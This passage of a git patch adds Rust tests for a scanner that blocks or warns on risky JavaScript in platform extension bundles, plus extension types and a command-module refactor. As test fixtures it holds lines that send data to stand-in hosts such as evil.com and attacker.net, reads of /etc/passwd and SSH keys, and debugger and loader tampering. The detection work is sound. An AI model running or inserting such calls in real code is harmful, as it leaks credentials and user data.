sec106_delete_require_cache() { + let content = r#"var Module = require("module"); delete require.cache;"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec106_bracket_load_override() { + let content = r#"var M = require("module"); Module["_load"] = function() {};"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec106_no_signal_skips_rule() { + let findings = scan_bundle(r#"Module._load = function() {};"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC106"), + "SEC106 should not fire without module import: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC107 — inspector module (two-pass) +// ----------------------------------------------------------------------- + +#[test] +fn sec107_require_inspector_with_open() { + let content = r#"var inspector = require("inspector"); inspector.open(9229);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec107_require_node_inspector_with_wait() { + let content = r#"var inspector = require("node:inspector"); inspector.waitForDebugger();"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec107_esm_import_inspector_with_open() { + let content = r#"import inspector from "inspector"; inspector.open();"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec107_inspector_url() { + let content = r#"var inspector = require("inspector"); console.log(inspector.url());"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec107_bracket_open() { + let content = r#"var inspector = require("inspector"); inspector["open"](9229);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec107_no_signal_skips_rule() { + let findings = scan_bundle(r#"inspector.open(9229);"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC107"), + "SEC107 should not fire without import: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC108 — external URLs (two-pass, warn) +// ----------------------------------------------------------------------- + +#[test] +fn sec108_require_https_with_url() { + // Use a trusted godaddy.com domain so SEC112 (block) does not also fire. + let content = r#"var https = require("https"); https.get("https://api.godaddy.com/v1/");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); + assert!(!is_blocked(&findings), "SEC108 should be warn, not block"); +} + +#[test] +fn sec108_import_axios_with_url() { + let content = r#"import axios from "axios"; axios.post("https://evil.com/data", {});"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec108_fetch_with_https_url() { + let content = r#"import { request } from "https"; fetch("https://api.example.com");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec108_http_url() { + let content = r#"var http = require("http"); http.get("http://example.com");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec108_new_url_constructor() { + let content = r#"var http = require("http"); const u = new URL("https://api.example.com");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec108_no_signal_skips_rule() { + let findings = scan_bundle(r#"const url = "https://api.example.com";"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC108"), + "SEC108 should not fire without http/axios import: {findings:?}" + ); +} diff --git a/rust/src/extension/security/tests_sec109_115.rs b/rust/src/extension/security/tests_sec109_115.rs new file mode 100644 index 0000000..5deabe8 --- /dev/null +++ b/rust/src/extension/security/tests_sec109_115.rs @@ -0,0 +1,421 @@ +//! SEC109–SEC115 detection tests. Split from a single combined test module +//! purely to stay under the file-size limit — see docs/code-structure.md. + +use super::super::types::Severity; +use super::{is_blocked, scan_bundle}; + +// ----------------------------------------------------------------------- +// SEC109 — large encoded blobs (warn, no signal) +// ----------------------------------------------------------------------- + +#[test] +fn sec109_large_base64_buffer_from() { + let b64 = "A".repeat(210); + let content = format!(r#"const x = Buffer.from("{b64}", "base64");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC109"), + "findings: {findings:?}" + ); + // SEC113 (block) also fires on base64 content — just verify SEC109 itself is warn. + assert!( + findings + .iter() + .filter(|f| f.rule_id == "SEC109") + .all(|f| f.severity == Severity::Warn), + "SEC109 findings should have warn severity" + ); +} + +#[test] +fn sec109_large_base64_atob() { + let b64 = "B".repeat(210); + let content = format!(r#"const x = atob("{b64}");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC109"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec109_large_hex_buffer_from() { + let hex = "a".repeat(410); + let content = format!(r#"const x = Buffer.from("{hex}", "hex");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC109"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec109_short_base64_no_match() { + let b64 = "A".repeat(50); + let content = format!(r#"const x = Buffer.from("{b64}", "base64");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC109"), + "short base64 should not match SEC109: {findings:?}" + ); +} + +#[test] +fn sec109_short_hex_no_match() { + let hex = "a".repeat(100); + let content = format!(r#"const x = Buffer.from("{hex}", "hex");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC109"), + "short hex should not match SEC109: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC110 — sensitive fs/net/env ops (two-pass, warn) +// ----------------------------------------------------------------------- + +#[test] +fn sec110_require_net_with_connect() { + let content = r#"var net = require("net"); net.connect(80, "host");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + assert!(!is_blocked(&findings), "SEC110 should be warn"); +} + +#[test] +fn sec110_require_node_net_with_create_connection() { + let content = r#"var net = require("node:net"); net.createConnection(80, "host");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_import_fs_with_process_env_bracket() { + let content = r#"import fs from "fs"; const key = process.env["API_KEY"];"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_process_env_dot_notation() { + let content = r#"var fs = require("fs"); const val = process.env.SECRET;"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_etc_passwd() { + let content = r#"var fs = require("fs"); fs.readFileSync("/etc/passwd");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_ssh_path() { + let content = r#"var fs = require("fs"); fs.readFileSync("~/.ssh/id_rsa");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_readfile_env() { + let content = r#"var fs = require("fs"); fs.readFile("config.env", "utf8", cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_readfile_sync_env() { + let content = r#"var fs = require("node:fs"); fs.readFileSync("app.env");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec110_no_signal_skips_rule() { + let findings = scan_bundle(r#"const val = process.env.KEY;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC110"), + "SEC110 should not fire without net/fs import: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC111 — destructive fs operations (two-pass, block) +// ----------------------------------------------------------------------- + +#[test] +fn sec111_require_fs_with_unlink() { + let content = r#"var fs = require("fs"); fs.unlink("/tmp/file", cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec111_unlink_sync() { + let content = r#"var fs = require("node:fs"); fs.unlinkSync("/tmp/file");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec111_rmdir() { + let content = r#"var fs = require("fs"); fs.rmdir("/tmp/dir", cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec111_rm_via_esm_import() { + let content = r#"import fs from "fs"; fs.rm("/tmp/dir", { recursive: true }, cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec111_fs_promises_with_unlink() { + let content = r#"import { unlink } from "fs/promises"; await unlink("/tmp/file");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec111_no_signal_skips_rule() { + let findings = scan_bundle(r#"fs.unlink("/tmp/file", cb);"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC111"), + "SEC111 should not fire without fs import: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC112 — untrusted domain requests (no signal, block) +// ----------------------------------------------------------------------- + +#[test] +fn sec112_untrusted_domain_blocked() { + let findings = scan_bundle(r#"fetch("https://evil.com/steal");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC112"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec112_http_untrusted_blocked() { + let findings = scan_bundle(r#"fetch("http://attacker.net/data");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC112"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec112_trusted_godaddy_subdomain_allowed() { + let findings = scan_bundle( + r#"fetch("https://api.godaddy.com/v1/products");"#, + "test.mjs", + ); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "godaddy.com subdomain should be trusted: {findings:?}" + ); +} + +#[test] +fn sec112_trusted_godaddy_root_allowed() { + let findings = scan_bundle(r#"fetch("https://godaddy.com/path");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "godaddy.com root should be trusted: {findings:?}" + ); +} + +#[test] +fn sec112_trusted_localhost_with_port_allowed() { + let findings = scan_bundle(r#"fetch("https://localhost:3000/api");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "localhost should be trusted: {findings:?}" + ); +} + +#[test] +fn sec112_trusted_127_0_0_1_allowed() { + let findings = scan_bundle(r#"fetch("http://127.0.0.1/api");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "127.0.0.1 should be trusted: {findings:?}" + ); +} + +#[test] +fn sec112_godaddy_lookalike_blocked() { + let findings = scan_bundle(r#"fetch("https://godaddy.com.evil.net/");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC112"), + "godaddy.com.evil.net should not be trusted: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC113 — any encoded payload (no signal, block) +// ----------------------------------------------------------------------- + +#[test] +fn sec113_atob_blocked() { + let findings = scan_bundle(r#"const x = atob("aGVsbG8=");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC113"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec113_buffer_from_base64_blocked() { + let findings = scan_bundle( + r#"const x = Buffer.from("shortval", "base64");"#, + "test.mjs", + ); + assert!( + findings.iter().any(|f| f.rule_id == "SEC113"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec113_buffer_from_hex_blocked() { + let findings = scan_bundle(r#"const x = Buffer.from("deadbeef", "hex");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC113"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec113_buffer_from_utf8_allowed() { + let findings = scan_bundle( + r#"const x = Buffer.from("hello world", "utf8");"#, + "test.mjs", + ); + assert!( + findings.iter().all(|f| f.rule_id != "SEC113"), + "utf8 encoding should not match SEC113: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC114 — debugger statement (no signal, block) +// ----------------------------------------------------------------------- + +#[test] +fn sec114_debugger_blocked() { + let findings = scan_bundle("function x() { debugger; return 1; }", "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC114"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec114_debugger_word_boundary() { + let findings = scan_bundle(r#"const debuggerMode = true;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC114"), + "debuggerMode should not match SEC114: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC115 — dynamic require/import (no signal, block) +// ----------------------------------------------------------------------- + +#[test] +fn sec115_dynamic_require_blocked() { + let findings = scan_bundle(r#"const m = require(userInput);"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC115"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec115_dynamic_import_blocked() { + let findings = scan_bundle(r#"const m = await import(dynamicPath);"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC115"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec115_static_require_allowed() { + let findings = scan_bundle(r#"const m = require("./module");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC115"), + "static string require should not match SEC115: {findings:?}" + ); +} + +#[test] +fn sec115_static_import_allowed() { + let findings = scan_bundle(r#"const m = await import("./module");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC115"), + "static string import should not match SEC115: {findings:?}" + ); +} + +#[test] +fn sec115_import_meta_not_matched() { + let findings = scan_bundle(r#"const url = import.meta.url;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC115"), + "import.meta.url should not match SEC115: {findings:?}" + ); +} diff --git a/rust/src/extension/types.rs b/rust/src/extension/types.rs new file mode 100644 index 0000000..10cd35b --- /dev/null +++ b/rust/src/extension/types.rs @@ -0,0 +1,87 @@ +use std::path::{Path, PathBuf}; + +// --------------------------------------------------------------------------- +// Public types +// --------------------------------------------------------------------------- + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ExtensionType { + Embed, + Checkout, + Blocks, +} + +/// Options for [`crate::extension::bundle_extension`]. +pub struct BundleOptions<'a> { + /// Extension handle — used as the artifact package name. + pub name: &'a str, + /// Optional semver; defaults to `"0.0.0"` in the artifact filename. + pub version: Option<&'a str>, + /// Repo root (for temp-dir naming and root `tsconfig.json` fallback). + pub repo_root: &'a Path, + /// UTC timestamp override (`yyyymmddHHMMss`); defaults to now. + pub timestamp: Option<&'a str>, +} + +/// Result of a successful bundle. Artifacts remain on disk under [`Self::temp_dir`] +/// until [`BundleCleanup`] removes them. +pub struct BundleResult { + pub bytes: Vec, + pub sha256: String, + pub artifact_name: String, + pub artifact_path: PathBuf, + pub size: u64, + pub sourcemap_path: Option, + /// Root temp directory created for this bundle; pass to cleanup. + pub temp_dir: PathBuf, +} + +/// Best-effort RAII cleanup of a bundle temp directory. +/// +/// Construct with [`Self::for_dir`] as soon as the temp dir exists (so early +/// failures still clean up), then [`Self::disarm`] before returning a successful +/// [`BundleResult`] so the caller can own cleanup via [`Self::new`]. +pub struct BundleCleanup { + temp_dir: Option, +} + +impl BundleCleanup { + pub fn new(bundle: &BundleResult) -> Self { + Self::for_dir(bundle.temp_dir.clone()) + } + + pub fn for_dir(temp_dir: PathBuf) -> Self { + Self { + temp_dir: Some(temp_dir), + } + } + + /// Leave the directory in place (caller takes ownership of cleanup). + pub fn disarm(mut self) { + self.temp_dir = None; + } +} + +impl Drop for BundleCleanup { + fn drop(&mut self) { + if let Some(dir) = self.temp_dir.take() { + let _ = std::fs::remove_dir_all(dir); + } + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Severity { + Block, + Warn, +} + +#[derive(Debug)] +pub struct Finding { + pub rule_id: &'static str, + pub severity: Severity, + pub message: &'static str, + pub file: String, + pub line: usize, + pub snippet: String, +} From 10a49bc2108ac3948ac72678e0a3d8897ddd2763 Mon Sep 17 00:00:00 2001 From: Jacob Page Date: Fri, 7 Aug 2026 14:10:34 -0700 Subject: [PATCH 5/7] refactor(application): split commands/mod.rs into per-command files application/commands/mod.rs held every app-registry command (list/info/init/validate/update/lifecycle/release/add/deploy) in one 2272-line file. Split into one file per command, with deploy/ and add_extension/ as subdirectories for the larger nested groups, plus a shared schemas.rs for the output_schema! definitions. --- rust/src/application/commands/add.rs | 126 + .../application/commands/add_extension/mod.rs | 243 ++ .../application/commands/deploy/extensions.rs | 317 +++ rust/src/application/commands/deploy/mod.rs | 397 +++ rust/src/application/commands/info.rs | 73 + rust/src/application/commands/init.rs | 312 +++ rust/src/application/commands/lifecycle.rs | 146 ++ rust/src/application/commands/list.rs | 82 + rust/src/application/commands/mod.rs | 2247 +---------------- rust/src/application/commands/release.rs | 213 ++ rust/src/application/commands/schemas.rs | 86 + rust/src/application/commands/update.rs | 165 ++ rust/src/application/commands/validate.rs | 167 ++ 13 files changed, 2366 insertions(+), 2208 deletions(-) create mode 100644 rust/src/application/commands/add.rs create mode 100644 rust/src/application/commands/add_extension/mod.rs create mode 100644 rust/src/application/commands/deploy/extensions.rs create mode 100644 rust/src/application/commands/deploy/mod.rs create mode 100644 rust/src/application/commands/info.rs create mode 100644 rust/src/application/commands/init.rs create mode 100644 rust/src/application/commands/lifecycle.rs create mode 100644 rust/src/application/commands/list.rs create mode 100644 rust/src/application/commands/release.rs create mode 100644 rust/src/application/commands/schemas.rs create mode 100644 rust/src/application/commands/update.rs create mode 100644 rust/src/application/commands/validate.rs diff --git a/rust/src/application/commands/add.rs b/rust/src/application/commands/add.rs new file mode 100644 index 0000000..af23769 --- /dev/null +++ b/rust/src/application/commands/add.rs @@ -0,0 +1,126 @@ +//! `gddy platform app add` — append actions and webhook subscriptions to +//! godaddy.toml. The `extension` subgroup lives in [`super::add_extension`]. + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, RuntimeCommandSpec, RuntimeGroupSpec, Tier, +}; +use serde_json::json; + +use super::schemas::{ConfigAction, ConfigSubscription}; + +#[derive(Debug, Clone, clap::Args)] +struct ActionArgs { + /// Unique action name written into godaddy.toml. + #[arg(long)] + name: String, + + /// Public HTTPS URL the platform will invoke for this action. + #[arg(long)] + url: String, +} + +#[derive(Debug, Clone, clap::Args)] +struct SubscriptionArgs { + /// Unique subscription name written into godaddy.toml. + #[arg(long)] + name: String, + + /// Public HTTPS URL that will receive webhook POST requests. + #[arg(long)] + url: String, + + /// One or more event types to subscribe to (run `gddy platform webhook + /// events` to list valid values). + #[arg(long, value_name = "EVENT", required = true, num_args = 1..)] + events: Vec, +} + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new( + GroupSpec::new("add", "Add components to an application").with_long( + "Append actions, webhook subscriptions, or UI extensions to the \ + godaddy.toml manifest in the current directory. Run `gddy platform \ + app deploy` to publish the updated manifest.", + ), + ) + .with_command(RuntimeCommandSpec::new_typed_with_context::< + ActionArgs, + _, + _, + _, + >( + CommandSpec::from_args::("action", "Add an action to godaddy.toml") + .with_long( + "Append an action entry to the godaddy.toml manifest in the \ + current directory. An action is an HTTP endpoint that the \ + platform calls on behalf of the application; it is identified \ + by a name and a public HTTPS URL. The manifest is updated in \ + place; run `gddy platform app validate ` to confirm remote \ + application state.", + ) + .with_system("applications") + .with_tier(Tier::Mutate) + .with_output_schema::() + .no_auth(true), + |ctx, args: ActionArgs| async move { + let name = args.name; + let url = args.url; + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + config.actions.push(crate::config::ActionConfig { + name: name.clone(), + url: url.clone(), + }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new(json!({ "name": name, "url": url })) + .with_next_actions(super::add_config_next_actions(&config.name))) + }, + )) + .with_command(RuntimeCommandSpec::new_typed_with_context::< + SubscriptionArgs, + _, + _, + _, + >( + CommandSpec::from_args::( + "subscription", + "Add a webhook subscription to godaddy.toml", + ) + .with_long( + "Append a webhook subscription entry to the godaddy.toml manifest \ + in the current directory. A subscription routes platform events to \ + an HTTPS endpoint. Provide one or more event types with --events; \ + run `gddy platform webhook events` to discover the full list of \ + valid event types.", + ) + .with_system("applications") + .with_tier(Tier::Mutate) + .with_output_schema::() + .no_auth(true), + |ctx, args: SubscriptionArgs| async move { + let name = args.name; + let url = args.url; + let events = args.events; + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + let subs = config + .subscriptions + .get_or_insert_with(|| crate::config::SubscriptionsConfig { webhook: vec![] }); + subs.webhook.push(crate::config::SubscriptionConfig { + name: name.clone(), + events: events.clone(), + url: url.clone(), + }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok( + CommandResult::new(json!({ "name": name, "url": url, "events": events })) + .with_next_actions(super::add_config_next_actions(&config.name)), + ) + }, + )) + .with_group(super::add_extension::group()) +} diff --git a/rust/src/application/commands/add_extension/mod.rs b/rust/src/application/commands/add_extension/mod.rs new file mode 100644 index 0000000..833c2b9 --- /dev/null +++ b/rust/src/application/commands/add_extension/mod.rs @@ -0,0 +1,243 @@ +//! `gddy platform app add extension` — register embed/checkout/blocks UI +//! extensions into godaddy.toml. Nested under [`super::add`]'s `add` group. + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, RuntimeCommandSpec, RuntimeGroupSpec, Tier, +}; +use serde_json::json; + +use super::schemas::{ExtensionBlocks, ExtensionHandle}; + +/// Shared shape for `add extension embed`/`add extension checkout` — both +/// register a UI extension by name/handle/source/target. +#[derive(Debug, Clone, clap::Args)] +struct UiExtensionArgs { + /// Unique extension name written into godaddy.toml. + #[arg(long)] + name: String, + + /// Platform handle used to identify this extension surface. + #[arg(long)] + handle: String, + + /// Path to the JavaScript entry-point file, relative to + /// extensions// (e.g. src/index.ts), or a path already under + /// that directory. + #[arg(long)] + source: String, + + /// Comma-separated target surface(s) for this extension. + #[arg(long)] + target: String, +} + +#[derive(Debug, Clone, clap::Args)] +struct BlocksArgs { + /// Path to the JavaScript entry-point file for the blocks extension, + /// relative to extensions/blocks/ (e.g. src/index.ts), or a path + /// already under that directory. + #[arg(long)] + source: String, +} + +/// Parse a comma-separated `--target` value into extension targets, trimming +/// whitespace and dropping empty entries. +fn parse_targets(raw: &str) -> Vec { + raw.split(',') + .map(str::trim) + .filter(|s| !s.is_empty()) + .map(|s| crate::config::ExtensionTarget { + target: s.to_owned(), + }) + .collect() +} + +/// Sandbox + normalize `--source` the same way deploy resolves it, so +/// `godaddy.toml` always stores a path relative to `extensions/{handle}/`. +fn normalized_extension_source( + handle: &str, + source: &str, + extension_name: &str, +) -> cli_engine::Result { + let repo_root = crate::extension::repo_root_from_cwd(); + crate::extension::normalize_extension_source_for_config( + &repo_root, + handle, + source, + extension_name, + ) + .map_err(super::validation_err) +} + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new( + GroupSpec::new("extension", "Add an extension to godaddy.toml").with_long( + "Append a UI extension entry to the godaddy.toml manifest in the \ + current directory. Extensions are JavaScript bundles that the \ + platform renders inside store surfaces. Three types are supported: \ + embed (inline widget), checkout (checkout-flow widget), and blocks \ + (content blocks). Run `gddy platform app deploy` to bundle and \ + upload the registered extensions.", + ), + ) + .with_command(RuntimeCommandSpec::new_typed_with_context::< + UiExtensionArgs, + _, + _, + _, + >( + CommandSpec::from_args::("embed", "Add an embed extension") + .with_long( + "Register an embed UI extension in godaddy.toml. An embed \ + extension is a JavaScript bundle rendered as an inline widget \ + inside a store surface. Provide a unique name, a platform \ + handle, and the path to the source entry-point file. Run \ + `gddy platform app deploy` to bundle and upload.", + ) + .with_system("applications") + .with_tier(Tier::Mutate) + .with_output_schema::() + .no_auth(true), + |ctx, args: UiExtensionArgs| async move { + let name = args.name; + let handle = args.handle; + let source = normalized_extension_source(&handle, &args.source, &name)?; + let targets = parse_targets(&args.target); + if targets.is_empty() { + return Err(crate::error::GddyError::validation( + "at least one --target is required (comma-separated)", + ) + .into_cli_error()); + } + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| crate::error::GddyError::config(e.to_string()).into_cli_error())?; + let exts = config + .extensions + .get_or_insert_with(|| crate::config::ExtensionsConfig { + embed: vec![], + checkout: vec![], + blocks: None, + }); + exts.embed.push(crate::config::EmbedExtensionConfig { + name: name.clone(), + handle: handle.clone(), + source, + targets, + }); + crate::config::write_config(&path, &config) + .map_err(|e| crate::error::GddyError::config(e.to_string()).into_cli_error())?; + Ok( + CommandResult::new(json!({ "name": name, "handle": handle, "type": "embed" })) + .with_next_actions(super::add_config_next_actions(&config.name)), + ) + }, + )) + .with_command(RuntimeCommandSpec::new_typed_with_context::< + UiExtensionArgs, + _, + _, + _, + >( + CommandSpec::from_args::("checkout", "Add a checkout extension") + .with_long( + "Register a checkout UI extension in godaddy.toml. A checkout \ + extension is a JavaScript bundle rendered during the store \ + checkout flow. Provide a unique name, a platform handle, and the \ + path to the source entry-point file. Run \ + `gddy platform app deploy` to bundle and upload.", + ) + .with_system("applications") + .with_tier(Tier::Mutate) + .with_output_schema::() + .no_auth(true), + |ctx, args: UiExtensionArgs| async move { + let name = args.name; + let handle = args.handle; + let source = normalized_extension_source(&handle, &args.source, &name)?; + let targets = parse_targets(&args.target); + if targets.is_empty() { + return Err(crate::error::GddyError::validation( + "at least one --target is required (comma-separated)", + ) + .into_cli_error()); + } + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| crate::error::GddyError::config(e.to_string()).into_cli_error())?; + let exts = config + .extensions + .get_or_insert_with(|| crate::config::ExtensionsConfig { + embed: vec![], + checkout: vec![], + blocks: None, + }); + exts.checkout.push(crate::config::CheckoutExtensionConfig { + name: name.clone(), + handle: handle.clone(), + source, + targets, + }); + crate::config::write_config(&path, &config) + .map_err(|e| crate::error::GddyError::config(e.to_string()).into_cli_error())?; + Ok( + CommandResult::new(json!({ "name": name, "handle": handle, "type": "checkout" })) + .with_next_actions(super::add_config_next_actions(&config.name)), + ) + }, + )) + .with_command(RuntimeCommandSpec::new_typed_with_context::< + BlocksArgs, + _, + _, + _, + >( + CommandSpec::from_args::("blocks", "Add a blocks extension") + .with_long( + "Register a blocks UI extension in godaddy.toml. A blocks \ + extension is a JavaScript bundle that provides content blocks \ + within a store. Only one blocks extension is supported per \ + application; running this command again will overwrite the \ + existing entry. Run `gddy platform app deploy` to bundle and \ + upload.", + ) + .with_system("applications") + .with_tier(Tier::Mutate) + .with_output_schema::() + .no_auth(true), + |ctx, args: BlocksArgs| async move { + let source = normalized_extension_source("blocks", &args.source, "Blocks")?; + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| crate::error::GddyError::config(e.to_string()).into_cli_error())?; + let exts = config + .extensions + .get_or_insert_with(|| crate::config::ExtensionsConfig { + embed: vec![], + checkout: vec![], + blocks: None, + }); + exts.blocks = Some(crate::config::BlocksExtensionConfig { + source: source.clone(), + }); + crate::config::write_config(&path, &config) + .map_err(|e| crate::error::GddyError::config(e.to_string()).into_cli_error())?; + Ok( + CommandResult::new(json!({ "source": source, "type": "blocks" })) + .with_next_actions(super::add_config_next_actions(&config.name)), + ) + }, + )) +} + +#[cfg(test)] +mod tests { + #[test] + fn parse_targets_trims_splits_and_drops_empties() { + let parsed = super::parse_targets(" a , b ,, c "); + let got: Vec = parsed.into_iter().map(|t| t.target).collect(); + assert_eq!(got, vec!["a", "b", "c"]); + assert!(super::parse_targets(" ").is_empty()); + assert!(super::parse_targets("").is_empty()); + } +} diff --git a/rust/src/application/commands/deploy/extensions.rs b/rust/src/application/commands/deploy/extensions.rs new file mode 100644 index 0000000..fa6c9d7 --- /dev/null +++ b/rust/src/application/commands/deploy/extensions.rs @@ -0,0 +1,317 @@ +//! Extension collection, bundling, security scanning, and upload logic used +//! by [`super::command`]'s deploy orchestration. + +use cli_engine::StreamSender; +use serde_json::{Value, json}; + +use crate::application::client::{ApplicationClient, 